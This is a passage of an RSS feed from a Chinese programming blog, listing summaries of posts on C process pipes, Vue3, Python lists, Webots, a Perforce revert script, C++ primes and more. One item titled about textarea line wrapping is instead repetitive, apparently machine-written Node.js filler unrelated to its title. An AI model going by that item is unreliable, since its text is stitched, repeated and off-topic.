      <description>练习：使用无名管道进行父子进程之间的通信，父进程发送给子进程接收，当发送了quit就退出 #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;fcntl.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;sys/wait.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; //使用无名管道进行父子进程之间的通信，父进程发送给子进程接收，当发送了quit就退出 int main(void) { int pipefd[2]; pipe(pipefd); //创建子进程 pid_t x=fork(); if(x &amp;gt; 0) //父进程写入 { char buf[50]; while(1) { bzero(buf,sizeof(buf)); //清空数组 scanf(&#34;%s&#34;,buf); write(pipefd[1],buf,sizeof(buf)); if(!strncmp(buf,&#34;quit&#34;,4)) break; } wait(NULL); } if(x == 0) //子进程读取 { char buf[50]; while(1) { bzero(buf,sizeof(buf)); //清空数组 printf(&#34;%s&#34;,buf); read(pipefd[0],buf,sizeof(buf)); printf(&#34;读取： %s\n&#34;,buf); if(!strncmp(buf,&#34;quit&#34;,4)) break; } exit(0); } return 0; } 结果如下</description>
    </item>
    <item>
      <title>Vue3全局挂载方法</title>
      <link>https://bchobby.github.io/posts/ed330a6880d1a538c291e07902f43018/</link>
      <pubDate>Thu, 15 Sep 2022 17:28:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed330a6880d1a538c291e07902f43018/</guid>
      <description>方式一：&#xA;import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; import router from &#39;./router&#39; const app = createApp(App) app.use(router) app.config.globalProperties.$http = &#39;http...&#39; app.mount(&#39;#app&#39;) // 使用： // import { getCurrentInstance } from &#34;vue&#34; // const { proxy } = getCurrentInstance() // console.log(proxy.$http) 方式二：&#xA;import { createApp } from &#39;vue&#39; import App from &#39;./App.vue&#39; import router from &#39;./router&#39; const app = createApp(App) app.use(router) app.provide(&#39;$http&#39;, &#39;http...&#39;) app.mount(&#39;#app&#39;) // 使用： // import { inject } from &#34;</description>
    </item>
    <item>
      <title>Python操作列表的常用方法总结</title>
      <link>https://bchobby.github.io/posts/3a1c2191c791761fb709f8146c710f4d/</link>
      <pubDate>Thu, 15 Sep 2022 17:06:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a1c2191c791761fb709f8146c710f4d/</guid>
      <description>转自：https://www.weidianyuedu.com/&#xA;下面列出列表常用的方法操作列表以及小例子：&#xA;Append 在列表末尾添加元素，需在列表末尾添加元素，需要注意几个点:&#xA;A. append中添加的参数是作为一个整体&#xA;name = list(“scott”)&#xA;name&#xA;[‘s’, ‘c’, ‘o’, ‘t’, ‘t’]&#xA;name.append(list(&#34; tiger&#34;))&#xA;name&#xA;[‘s’, ‘c’, ‘o’, ‘t’, ‘t’, [’ &#39;, ‘t’, ‘i’, ‘g’, ‘e’, ‘r’]]&#xA;得到的值不是：[‘s’, ‘c’, ‘o’, ‘t’, ‘t’, ’ &#39;, ‘t’, ‘i’, ‘g’, ‘e’, ‘r’]&#xA;如果想要这种的追加方式，可以试试分片赋值(或者下面说到的extend方法)：&#xA;name = list(“scott”)&#xA;name&#xA;[‘s’, ‘c’, ‘o’, ‘t’, ‘t’]&#xA;name[len(name):] = list(&#34; tiger&#34;) #从末尾追加&#xA;name&#xA;[‘s’, ‘c’, ‘o’, ‘t’, ‘t’, ’ &#39;, ‘t’, ‘i’, ‘g’, ‘e’, ‘r’]</description>
    </item>
    <item>
      <title>Webots R2022b 发布</title>
      <link>https://bchobby.github.io/posts/783a6f79c634d3ac8e39187186ac4186/</link>
      <pubDate>Thu, 15 Sep 2022 16:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/783a6f79c634d3ac8e39187186ac4186/</guid>
      <description>这个功能不错webots.cloud&#xA;但是，如果网络不畅通：&#xA;个把小时也不会有任何进展……&#xA;文档如果网络不畅，也打开困难……&#xA;Webots参考手册 R2022b Webots R2022 更改日志 版本 R2022b 于 2022 年 9 月 13 日发布。&#xA;新机器人 添加了来自Bitcraze的Crazyflie 四旋翼机器人模型和带键盘控制的飞行演示 ( #4703 )。添加了来自Franka Emika的Panda机器人模型和取放演示 ( #4194 )。添加了Epson的SCARA T6机器人模型和演示它在食品行业环境中分拣水果的演示 ( #4192 )。新对象 添加了一些医院主题物品：病床、滴水架、药瓶、洗手液、窗帘、相框、花盆、紧急出口标志和织物外观（#4166）。将 CardboardBox 扩展为容器并添加了纸板外观（#4359）。添加了一个气罐原型（#4536）。添加了静态叉车的原型（#4561）。新的功能 macOS ( #4543 )上对 Apple M1 处理器的原生支持。将机器人窗口移至 Web 浏览器（#4085）。更改了 Webbot 和机器人控制器之间的管道，以允许在单独的 docker 容器中运行它们（#4344）。将模拟服务器升级到 docker-compose 以在 webots.cloud ( #4259 ) 上运行 Theia IDE。添加了对使用 TCP 连接 ( #4518 ) 的远程外部控制器的支持，并优先考虑允许的 IP ( #4644 )。添加了用于创建 PROTO 文件的向导 ( #4104 )。添加了两个新的机器人 API 函数wb_robot_step_begin和wb_robot_step_end，以优化计算机密集型控制器 ( #4107 )。添加了Extra Project通过“首选项”菜单定义多个路径的功能，以及通过设置WEBOTS_EXTRA_PROJECT_PATH环境变量的替代方法。（#4364）。先前设置的额外项目路径应在首选项菜单中重新设置。添加了一个分享按钮来上传场景和动画到webots.</description>
    </item>
    <item>
      <title>p4批量revert</title>
      <link>https://bchobby.github.io/posts/a8b6aba89e5eba1811bae3d436f6eeb1/</link>
      <pubDate>Thu, 15 Sep 2022 16:39:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8b6aba89e5eba1811bae3d436f6eeb1/</guid>
      <description>问题提出：同事误操作直接把几个分支全部checkout了，在windows客户端没法批量操作，因为数量太多导致卡死&#xA;解决思路：在p4服务器上用脚本执行revert操作&#xA;代码如下&#xA;#!/bin/bash # $1是user,$2是workspace p4 opened -u $1 | grep $2 | awk &#39;{pos=index($0, &#34;#&#34;); print substr($0,0,pos-1)}&#39; &amp;gt;revert_list_new.txt awk -v work_space=$2 &#39;{if(length($0) &amp;gt; 5){str = str&#34; \&#34;&#34;$0&#34;\&#34;&#34;}; if(length(str) &amp;gt; 850){ print &#34;p4 revert -C &#34;work_space&#34;&#34;str &amp;gt;&amp;gt; &#34;out_file_new.sh&#34;; str=&#34;&#34;}}&#39; revert_list_new.txt 第一行是通过p4 opened命令查找出所有打开的文件，同时提取文件名，这里是以第一个#为截止符，比如“//depot/impforest_upgrate/client/cocos2d-x-3.7/build/cocos2d_js_tests.xcodeproj/xcshareddata/xcschemes/js-tests Mac.xcscheme#1 - edit default change (text) by designer@designer_6193”，这里注意文件名中可能有空格，提取的时候一定要准确，还可以这样，用awk的贪婪匹配&#xA;p4 opened -u $1 | grep $2 | awk &#39;{if(match($0, &#34;//depot.*?#&#34;)&amp;gt;0){print substr($0, RSTART, RLENGTH - 1)}}&#39; &amp;gt;revert_list_new.txt 第二行是将找出的所有文件名，批量的放到revert命令中，注意，因为文件名可能有空格，所有要加上引号。同时revert命令的参数有1024个utf8字符限制，所以我这里初略得设置为大于850字符的话就切换另一个revert命令，或者是直接向p4 revert传递10个参数：</description>
    </item>
    <item>
      <title>【Please, upgrade your dependencies to the actual version of cor问题】</title>
      <link>https://bchobby.github.io/posts/db7b39e66f56334d60aff66d0205d960/</link>
      <pubDate>Thu, 15 Sep 2022 16:01:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db7b39e66f56334d60aff66d0205d960/</guid>
      <description>Please, upgrade your dependencies to the actual version of cor问题 npm版本依赖不兼容</description>
    </item>
    <item>
      <title>信号的基本概念和分类</title>
      <link>https://bchobby.github.io/posts/103a5b53e9cc6127a7dc69faee2ae5ad/</link>
      <pubDate>Thu, 15 Sep 2022 12:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/103a5b53e9cc6127a7dc69faee2ae5ad/</guid>
      <description>信号的基本概念和分类 通信系统 为传送消息而装设的全套设备技术&#xA;接收设备就是发送设备的逆过程，发送设备有编码器，接收设备肯定就有译码器&#xA;信号的描述和分类 信号的描述 信号是信息的一种物理体现，他一般是随时间或位置变化的物理量&#xA;信号按物理属性分：电信号和非电信号。他们可以相互转换。&#xA;电信号容易产生，便于控制，易于处理。本课程讨论电信号——简称“信号”&#xA;电信号的基本形式：随时间变化的电压或电流&#xA;描述信号的方法：&#xA;(1)表示为时间的函数&#xA;(2)信号的图形表示——波形图&#xA;信号的分类 按实际用途划分：&#xA;电视信号、雷达信号、控制信号、通信信号、广播信号、……&#xA;按所具有的时间特性划分：&#xA;确定信号和随机信号、连续信号和离散信号、周期信号和非周期信号、能量信号与功率信号、一维信号和多维信号、因果信号和反因果信号、实信号和复信号、左边信号和右边信号等&#xA;确定信号和随机信号 确定性信号：可用确定的时间函数表示的信号，对于指定的某一时刻\(t\)，有确定的函数值\(f(t)\)&#xA;随机信号：值具有不确定性的信号，如电子系统中的起伏热噪声、雷电干扰信号&#xA;伪随机信号：貌似随机而遵循严格规律产生的信号(伪随机码)&#xA;连续信号和离散信号 连续时间信号：在连续的时间范围内\((-\infty&amp;lt;t&amp;lt;-\infty)\)有定义的信号，简称连续信号&#xA;波形如下图所示：&#xA;这里的“连续”指函数的定义域——时间是连续的，但可含间断点，至于至于可连续也可不连续&#xA;用\(t\)表示时间变量&#xA;离散时间信号：尽在一些离散的瞬间才有定义的信号，简称离散信号&#xA;波形图如下：&#xA;定义域——时间是离散的，他只在某些规定的离散瞬间给函数值，其余时间无定义(无定义并不是等于 0 )&#xA;离散点间隔\(T_k = t_{k+1}-t_k\)可以相等也可以不相等。通常取等间隔\(T\)，离散信号可表示为\(f(kT)\)，简写为\(f(k)\)，这种等间隔的离散信号也常称为序列。其中k称为序号&#xA;模拟信号、抽样信号、数字信号&#xA;通过传感器采集到的很多信号是模拟信号，计算机处理的信号是数字信号&#xA;模拟信号：时间和幅值仅为连续的信号，抽样得到抽样信号&#xA;抽样信号：时间离散的，幅值连续的信号，量化得到数字信号&#xA;数字信号：时间和复制均为离散的信号&#xA;连续信号于模拟信号、离散信号与数字信号常通用&#xA;周期信号和非周期信号 定义在\((-\infty&amp;lt;t&amp;lt;-\infty)\)区间，每隔一定时间\(T\)(或整数\(N\))按相同规律重复变化的信号&#xA;连续周期信号\(f(t)\)满足：$$ f(t) = f(t+mT), m = 0,\pm1,\pm2,…… $$&#xA;离散周期信号\(f(k)\)满足：$$ f(k) = f(k+mN), m = 0,\pm1,\pm2,…… $$&#xA;满足以上关系的最小T(或整数N)称为该信号的周期，不具有周期性的信号称为非周期信号(没有规律，并不是不确定性)&#xA;能量信号与功率信号 将信号\(f(t)\)施加于 1 电阻上，他所消耗的瞬时功率为\(|f(t)|^2\)，在区间\((-\infty&amp;lt;t&amp;lt;-\infty)\)的能量和平均功率定义为：&#xA;(1)信号的能量\(E\)：&#xA;\[E^{def} = \int_{-\infty}^{\infty}|f(x)|^2\,dt \] (2)信号的功率\(P\)：</description>
    </item>
    <item>
      <title>input文本框自动换行,input textarea自动换行</title>
      <link>https://bchobby.github.io/posts/b03c88d93d52dd692e03f8963c536b97/</link>
      <pubDate>Thu, 15 Sep 2022 11:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b03c88d93d52dd692e03f8963c536b97/</guid>
      <description>node.js可以做什么 。&#xA;对一些特殊用例进行优化，提供替代的API，使得V8在非浏览器环境下运行得更好，V8引擎执行Javascript的速度非常快，性能非常好，基于ChromeJavaScript运行时建立的平台，用于方便地搭建响应速度快、易于扩展的网络应用。&#xA;发布于2009年5月，由RyanDahl开发，是一个基于Chrome V8引擎的JavaScript运行环境，使用了一个事件驱动、非阻塞式I/O模型，让JavaScript运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。&#xA;功能模块：Node使用Module模块去划分不同的功能，以简化应用的开发。Modules模块有点像C++语言中的类库。&#xA;每一个Node的类库都包含了十分丰富的各类函数，比如http模块就包含了和http功能相关的很多函数，可以帮助开发者很容易地对比如http,tcp/udp等进行操作，还可以很容易的创建http和tcp/udp的服务器。&#xA;要在程序中使用模块是十分方便的，只需要如下：在这里，引入了http类库，并且对http类库的引用存放在http变量中了。&#xA;这个时候，Node会在我们应用中搜索是否存在node_modules的目录，并且搜索这个目录中是否存在http的模块。&#xA;如果找不到这个目录，则会到全局模块缓存中去寻找，用户可以通过相对或者绝对路径，指定模块的位置。以上内容参考：百度百科。&#xA;谷歌人工智能写作项目：小发猫&#xA;Node.js是什么，它是用来做什么的？ 是一个基于ChromeV8引擎的JavaScript运行时typescript中文版教程，typescript实战指南。是一个基于ChromeV8引擎的JavaScript运行环境。使用了一个事件驱动、非阻塞式I/O的模型。&#xA;Node是一个让JavaScript运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby等服务端语言平起平坐的脚本语言。&#xA;[2]发布于2009年5月，由RyanDahl开发，实质是对ChromeV8引擎进行了封装。Node对一些特殊用例进行优化，提供替代的API，使得V8在非浏览器环境下运行得更好。&#xA;V8引擎执行Javascript的速度非常快，性能非常好。Node是一个基于ChromeJavaScript运行时建立的平台，用于方便地搭建响应速度快、易于扩展的网络应用。&#xA;Node使用事件驱动，非阻塞I/O模型而得以轻量和高效，非常适合在分布式设备上运行数据密集型的实时应用。&#xA;node.js能干什么？ 1.JavaScript为HTML设计师提供了一种编程工具HTML创作者往往都不是程序员，但是JavaScript却是一种只拥有极其简单的语法的脚本语言！&#xA;几乎每个人都有能力将短小的代码片断放入他们的HTML页面当中。&#xA;2.JavaScript可以将动态的文本放入HTML页面类似于这样的一段JavaScript声明可以将一段可变的文本放入HTML页面：document.write(&#34;&#34;+name+&#34;&#34;)3.JavaScript可以对事件作出响应可以将JavaScript设置为当某事件发生时才会被执行，例如页面载入完成或者当用户点击某个HTML元素时。&#xA;4.JavaScript可以读写HTML元素JavaScript可以读取及改变HTML元素的内容。&#xA;5.JavaScript可被用来验证数据在数据被提交到服务器之前，JavaScript可被用来验证这些数据。&#xA;6.JavaScript可被用来检测访问者的浏览器JavaScript可被用来检测访问者的浏览器，并根据所检测到的浏览器，为这个浏览器载入相应的页面。&#xA;7.JavaScript可被用来创建cookiesJavaScript可被用来存储和取回位于访问者的计算机中的信息。&#xA;前端用nodejs能做什么 到底是什么？是一个JavaScript的编译环境，当前端语言JavaScript在写完之后可以交给进行编译和解释，它的存在对于JavaScript有了质的飞跃。&#xA;下面就是一个简单的命令#node目前，在大部分领域都占有一席之地，尤其是I/O密集型的。比如Web开发，微服务，前端构建等。&#xA;不少大型网站都是使用作为后台开发语言的，用的最多的就是使用做前端渲染和架构优化，比如淘宝双十一、去哪儿网的PC端核心业务等。&#xA;另外，有不少知名的前端库也是使用开发的，如Webpack是一个强大的打包器，React/Vue是成熟的前端组件化框架。&#xA;通常被用来开发低延迟的网络应用，也就是那些需要在服务器端环境和前端实时收集和交换数据的应用（API、即时聊天、微服务）。&#xA;阿里巴巴、腾讯、Qunar、百度、PayPal、道琼斯、沃尔玛和LinkedIn都采用了框架搭建应用。&#xA;另外，编写的包管理器npm已成为开源包管理了领域最好的生态，直接到2017年10月份，有模块超过47万，每周下载量超过32亿次，每个月有超过700万开发者使用npm。&#xA;是一个对于前端工作者不可或缺的工具。尤其是对于JavaScript有着巨大的提升，现阶段的应用已经有了非常蓬勃的发展。对于的学习和熟练运用，必不可少！&#xA;nodejs可以用来做什么 。&#xA;1、nodejs搭配MongoDB作后端；2、nodejs搭配“终端”作前端的编译工具使用；3、编辑一些小工具，例如“网络爬虫”啥的；4、在不使用浏览器的控制台功能时，可用nodejs达到同样的目的，如下面两张图所示：&#xA;nodejs 具体是做什么用的 是一个运行在chromeJavascript运行环境下（俗称GoogleV8引擎）的开发平台，用来方便快捷的创建服务器端网络应用程序。&#xA;你可以把它理解为一个轻量级的JSP或PHP环境，但是用来开发Web应用的话，有时要便捷很多。很多人都不明白，为什么一个javascript的东西用在了服务器端的开发上。&#xA;一般认为javascript是浏览器端的脚本语言，但是google将其再开发，用来作为服务器端脚本环境，其性能自称比Python、Perl、PHP还要快。&#xA;的最大优点是处理并行访问，如果一个web应用程序同时会有很多访问连接，就能体现使用的优势。另一个好处是，使用javascript作为服务器端脚本语言，可以消除一些与浏览器端js脚本的冲突。&#xA;甚至发挥javascript动态编程的特性，在服务器与浏览器之间建立直接的动态程序。&#xA;node能做什么? 是一个运行在chromeJavascript运行环境下（俗称GoogleV8引擎）的开发平台，用来方便快捷的创建服务器端网络应用程序。&#xA;的优点是：1、处理并行访问，如果一个web应用程序同时会有很多访问连接，就能体现使用的优势。2、使用javascript作为服务器端脚本语言，可以消除一些与浏览器端js脚本的冲突。&#xA;甚至发挥javascript动态编程的特性，在服务器与浏览器之间建立直接的动态程序。&#xA;node.js是什么 是一个基于ChromeV8引擎的 JavaScript 运行环境。使用了一个事件驱动、非阻塞式I/O的模型。&#xA;Node是一个让JavaScript运行在服务端的开发平台，它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。&#xA;发布于2009年5月，由RyanDahl开发，实质是对ChromeV8引擎进行了封装。Node对一些特殊用例进行优化，提供替代的API，使得V8在非浏览器环境下运行得更好。&#xA;V8引擎执行Javascript的速度非常快，性能非常好。Node是一个基于ChromeJavaScript运行时建立的平台，用于方便地搭建响应速度快、易于扩展的网络应用。&#xA;Node使用事件驱动，非阻塞I/O 模型而得以轻量和高效，非常适合在分布式设备上运行数据密集型的实时应用。扩展资料：Node采用一系列“非阻塞”库来支持事件循环的方式。&#xA;本质上就是为文件系统、数据库之类的资源提供接口。向文件系统发送一个请求时，无需等待硬盘（寻址并检索文件），硬盘准备好的时候非阻塞接口会通知Node。&#xA;该模型以可扩展的方式简化了对慢资源的访问，直观，易懂。尤其是对于熟悉onmouseover、onclick等DOM事件的用户，更有一种似曾相识的感觉。</description>
    </item>
    <item>
      <title>C&#43;&#43;超级素数</title>
      <link>https://bchobby.github.io/posts/2e417452a260fde87f39d8f5d13480f9/</link>
      <pubDate>Thu, 15 Sep 2022 07:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e417452a260fde87f39d8f5d13480f9/</guid>
      <description>题目描述 超级素数是指一个 n 位正整数，它的前 1 位，前 2 位, . . . ，前 n 位均为素数，（例如： 7331 是个 4 位超级素数，因为 7,73,733,7331 均为素数）。&#xA;由键盘输入 n(n&amp;lt;6) ， 然后输出全部的 n 位超级素数。&#xA;输入格式 一个整数 n ，表示超级素数的位数。&#xA;输出格式 若干行，每行一个整数，表示满足条件的超级素数。&#xA;样例数据 输入样例 #1输出样例 #1223&#xA;29&#xA;31&#xA;37&#xA;53&#xA;59&#xA;71&#xA;73&#xA;79 样例分析 如上所述。&#xA;数据范围 100% 的数据： 0&amp;lt;n≤6&#xA;解题: #include&amp;lt;bits/stdc++.h&amp;gt; #include&amp;lt;string&amp;gt; using namespace std; int n; string str; bool isprime(int m){ if(m&amp;lt;=1) return false; for(int i=2;i&amp;lt;=sqrt(m);i++)if(m%i==0)return false; return true; } void superp(int i){ if(to_string(i).</description>
    </item>
    <item>
      <title>进程习题1</title>
      <link>https://bchobby.github.io/posts/695253a19c529bf5ba0dfe1a03e537f3/</link>
      <pubDate>Wed, 14 Sep 2022 13:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/695253a19c529bf5ba0dfe1a03e537f3/</guid>
      <description>编写一个程序，使其产生一个子进程c，并使用exec函数簇中的任意版本，使得子进程执行系统命令ls -l查看某个文件的详细信息，&#xA;父进程判断子进程是否执行成功？ #include &amp;lt;signal.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;sys/wait.h&amp;gt; int main() { pid_t son=fork(); if(son&amp;gt;0) //父进程 { int status; wait(&amp;amp;status); if(WIFEXITED(status)) //判断子进程是否正常退出 { printf(&#34;正常退出，返回值为：%d\n&#34;,WIFEXITED(status)); } } if(son == 0) //子进程 { int ret=execl(&#34;/bin/ls&#34;,&#34;ls&#34;,&#34;-l&#34;,&#34;day1.c&#34;,NULL); if(ret == -1) { perror(&#34;execl error\n&#34;); } exit(0); } return 0; } 写一个程序，创建嵌套的三个子进程，获取不同的子进程的父进程pid&#xA;尝试退出函数和等待函数waitpid监听 /* 写一个程序，创建嵌套的三个子进程，获取不同的子进程的父进程pid 尝试退出函数和等待函数waitpid监听 */ #include &amp;lt;signal.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;sys/stat.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.</description>
    </item>
    <item>
      <title>linux命令行中一键打开windows中对应目录的方法</title>
      <link>https://bchobby.github.io/posts/09f696fa837bcad73cc36cf4b41a014b/</link>
      <pubDate>Wed, 14 Sep 2022 13:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09f696fa837bcad73cc36cf4b41a014b/</guid>
      <description>背景：&#xA;一般我们将代码放在Ubuntu里面，当我们在某个linux目录下面，想在windows的资源管理器里面打开对应的目录，如果直接在windows资源管理器里面一级一级的找，将非常麻烦。这里我提供一个脚本，在linux命令行上运行后，直接输出对应的windows资源管理器的目录，复制目录后在win+R中即可快速打开对应的目录。&#xA;linux中 #!/bin/bash String_To_Replace=home curr_path=$(pwd) echo $curr_path tihuan=$(echo $curr_path | sed &#39;s#\/#\\#g&#39;) echo $tihuan t_ip=$(ifconfig eth0 |grep &#34;inet addr&#34; |awk -F&#34;:&#34; &#39;{print $2}&#39; |awk &#39;{print $1}&#39;) #echo $t_ip result=$(echo $tihuan | sed &#34;s/$String_To_Replace/$t_ip/g&#34;) echo &#34;\\&#34;$result 在不同的环境中，变量String_To_Replace的值需要做对应的修改。&#xA;将此内容保存到一个随便你喜欢的名字的文件中，我用的是gggggg_get_windows_path.sh，因为这样就可以在命令行中快速的输入ggg后按一下tab键就自动补全脚本了，然后把这个文件放到~/bin目录下。此脚本输出了当前目录在windows资源管理器中的目录，然后按win+r打开run窗口，输入刚才输出的目录，就可以快速打开windows的目录。&#xA;注意：&#xA;首先要确保Ubuntu中安装并配置好了Samba，并且在windows资源管理器中添加了网络驱动器的映射；要给gggggg_get_windows_path.sh文件可执行权限；要确保放此脚本的目录在PATH中，否则输入ggg按tab无法自动补全； 在windows下的git bash中使用的脚本： #!/bin/bash curr_path=$(pwd) echo $curr_path tihuan=$(echo $curr_path | sed &#39;s#\/#\\#g&#39;) echo $tihuan t_temp=${tihuan:2} echo &#34;c:$t_temp&#34; 将上述shell脚本保存到~/bin目录下面任意一个自己喜欢的文件中，然后给这个文件赋可执行权限。然后在git bash中任意目录输入这个文件名，就可以输出windows对应的目录了。</description>
    </item>
    <item>
      <title>IDEA启动失败，错误信息显示为“无法启动此程序，因为计算机丢失api-ms-win-crt-runtime-l1-1-0.dll。尝试重新安装该程序以解决此问题”的问题记录</title>
      <link>https://bchobby.github.io/posts/7de5da9d6008d7bbe4bf48a264bfcad8/</link>
      <pubDate>Wed, 14 Sep 2022 11:37:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7de5da9d6008d7bbe4bf48a264bfcad8/</guid>
      <description>1.遇到问题： 因为最近给电脑重装了系统，原本以为需要重装的IDEA意外地让我在d盘找到了（安装的时间太久，忘记原本就是安装在d盘的了），当我正笑嘻嘻地以为可以省去重新安装的功夫的时候，在装完系统后再次启动IDEA时却意外地出现了错误信息，显示图一中的“无法启动此程序，因为计算机丢失api-ms-win-crt-runtime-l1-1-0.dll。尝试重新安装该程序以解决此问题”。o(╥﹏╥)o&#xA;图一&#xA;点击确定后显示图二的信息&#xA;图二&#xA;2.解决问题： 根据信息的提示相信许多人跟我一样，第一反应就是以为原本c盘中含有IDEA相关的文件在系统重装时被删除掉了，所以天真的我将IDEA重新卸载又安装了一遍，但结果……依然启动失败，错误信息提示依然如上。o(╥﹏╥)o&#xA;心凉凉的我冷静地重新观察和思考了一番，原来图二的那一大长串英文提示才是关键！&#xA;错误信息翻译如下：&#xA;加载JVM DLL D:\Program FilesJetBrains(IntelliJ IDEA . exe)失败2021.1.3Vjbrl（bin）serverljvm.dll&#xA;如果已经安装了64位的JDK，请在“计算机&amp;gt;系统属性&amp;gt;系统设置&amp;gt;环境变量”中定义一个JAVA_HOME变量。&#xA;JAVA_HOME？环境变量？&#xA;噢！JDK的安装后的环境变量配置！&#xA;出现这两个关键词，那么大概率可以确定是JDK的环境配置问题而不是IDEA本身文件的问题了。&#xA;进入环境变量（计算机右击&amp;gt;属性&amp;gt;高级系统设置&amp;gt;点击环境变量）后，果然，之前的配置过的CLASSPATH和JAVA和Path统统在系统重装后烟消云散了，而且在第一次重新配置的时候根据网上某个博主的文章进行操作后仍然有遗漏，对此补充操作记录如下。&#xA;安装jdk和jre完成后进行：&#xA;（1）进入环境变量（在计算机图标上右键点击&amp;gt;属性&amp;gt;高级系统设置&amp;gt;点击环境变量）&#xA;（2）在【系统变量】点击【新建】，新建【JAVA_HOME】环境变量&#xA;变量名：JAVA_HOME&#xA;变量值：D:\Program Files\Java\jdk1.8.0_181(此处的路径为你的jdk安装目录,此次需根据自己的安装路径进行修改）&#xA;输入完成后点击确定&#xA;（3）找到【Path】，点击【编辑】&#xA;在开头处新增%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;&#xA;输入完成后点击确定&#xA;（4）在【系统变量】点击【新建】，新建【CLASSPATH】环境变量&#xA;变量名：CLASSPATH&#xA;变量值：.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar&#xA;输入完成后点击确定&#xA;（5）点击【确定】进行保存&#xA;测试： （1）win+r输入cmd打开控制台，输入java -version，按回车键，显示当前的jdk版本号&#xA;（2）再次输入javac，按回车键，如图显示的表示Path变量配置成功&#xA;出现以上画面的话，表示安装与配置环境变量正式完成。&#xA;至此，重新启动IDEA，终于正常开启了！！！</description>
    </item>
    <item>
      <title>什么是API接口？给大家举例说明</title>
      <link>https://bchobby.github.io/posts/4662a20306f8496e45bfff7bd3fa641b/</link>
      <pubDate>Wed, 14 Sep 2022 10:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4662a20306f8496e45bfff7bd3fa641b/</guid>
      <description>Api接口也就是所谓的应用程序接口，api接口的全称是Application Program Interface，通过API接口可以实现计算机软件之间的相互通信，开发人员可以通过API接口程序开发应用程序，可以减少编写无用程序，减轻编程任务，API 同时也是一种中间件，为各种不同平台提供数据共享。根据单个或分布式平台上不同软件应用程序间的数据共享性能。&#xA;举个例子来说明，就是当你在购物平台上买东西付款之后，商家选择某一快递公司发货，然后你就可以在购物平台上面查看快递的实时进程。购物平台和快递公司都是独立的公司，为什么能够在购物平台看到快递公司的信息呢，这里就是用到了API，当你在查看快递信息的时候，购物平台的内部系统也开始运作，购物平台通过快递公司提供的API接口，可以实时调取快递信息到网站上。除此之外，你还可以在搜索引擎上输入快递的订单号进行查询，只要是通过快递公司的允许别的公司都可以通过快递公司的API接口调取到快递信息。&#xA;而API接口平台大多都是用来开发新的应用软件的，这样可以有效的避免因为程序员编写的接口有问题，导致拖延时间，无法在应有的时间内完成软件的编写，但是在有了api接口程序之后，能够帮助开发者提升开发效率，可以大大的缓解这种情况的发生，可以让开发人员更加有效的完成软件的开发工作。能以一种简单的方式实现App里的某个服务已经成为开发者们最好的选择。&#xA;我们以淘宝API接口为例，下图为测试页面展示：&#xA;通过接口可以快速的获取我们想要的信息。&#xA;测试地址：https://console.open.onebound.cn/console/index.php?i=hardy 注册可以赠送测试，亲测有效&#xA;{ &#34;items&#34;: { &#34;page&#34;: &#34;1&#34;, &#34;real_total_results&#34;: 1000, &#34;total_results&#34;: 1000, &#34;page_size&#34;: 40, &#34;pagecount&#34;: 50, &#34;data_from&#34;: &#34;hid&#34;, &#34;item&#34;: [ { &#34;title&#34;: &#34;优衣库 女装 棉质T恤(长袖) 430273 UNIQLO&#34;, &#34;pic_url&#34;: &#34;https://img.alicdn.com/imgextra/i1/196993935/O1CN019g5Rmc1ewH9VOcioZ_!!196993935-0-picasso.jpg&#34;, &#34;promotion_price&#34;: &#34;79.00&#34;, &#34;price&#34;: &#34;79.00&#34;, &#34;sales&#34;: 0, &#34;num_iid&#34;: &#34;627543382638&#34;, &#34;seller_nick&#34;: &#34;优衣库官方旗舰店&#34;, &#34;seller_id&#34;: &#34;0&#34;, &#34;detail_url&#34;: &#34;https://item.taobao.com/item.htm?id=627543382638&#34;, &#34;data_f&#34;: null, &#34;data_update&#34;: &#34;2021-10-18 04:05:29&#34; }, { &#34;title&#34;: &#34;Data Zara新款 女装 垂褶直筒裙 08000878800&#34;, &#34;pic_url&#34;: &#34;//img.alicdn.com/imgextra/i1/2209090117041/O1CN01psHm3u21spO3HTo4R_!!2209090117041.jpg&#34;, &#34;promotion_price&#34;: &#34;179.00&#34;, &#34;price&#34;: &#34;299.00&#34;, &#34;</description>
    </item>
    <item>
      <title>Latex 显示多组图，且不显示底标</title>
      <link>https://bchobby.github.io/posts/e00806a573e4928bd8e7f060b19e2eea/</link>
      <pubDate>Wed, 14 Sep 2022 10:24:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e00806a573e4928bd8e7f060b19e2eea/</guid>
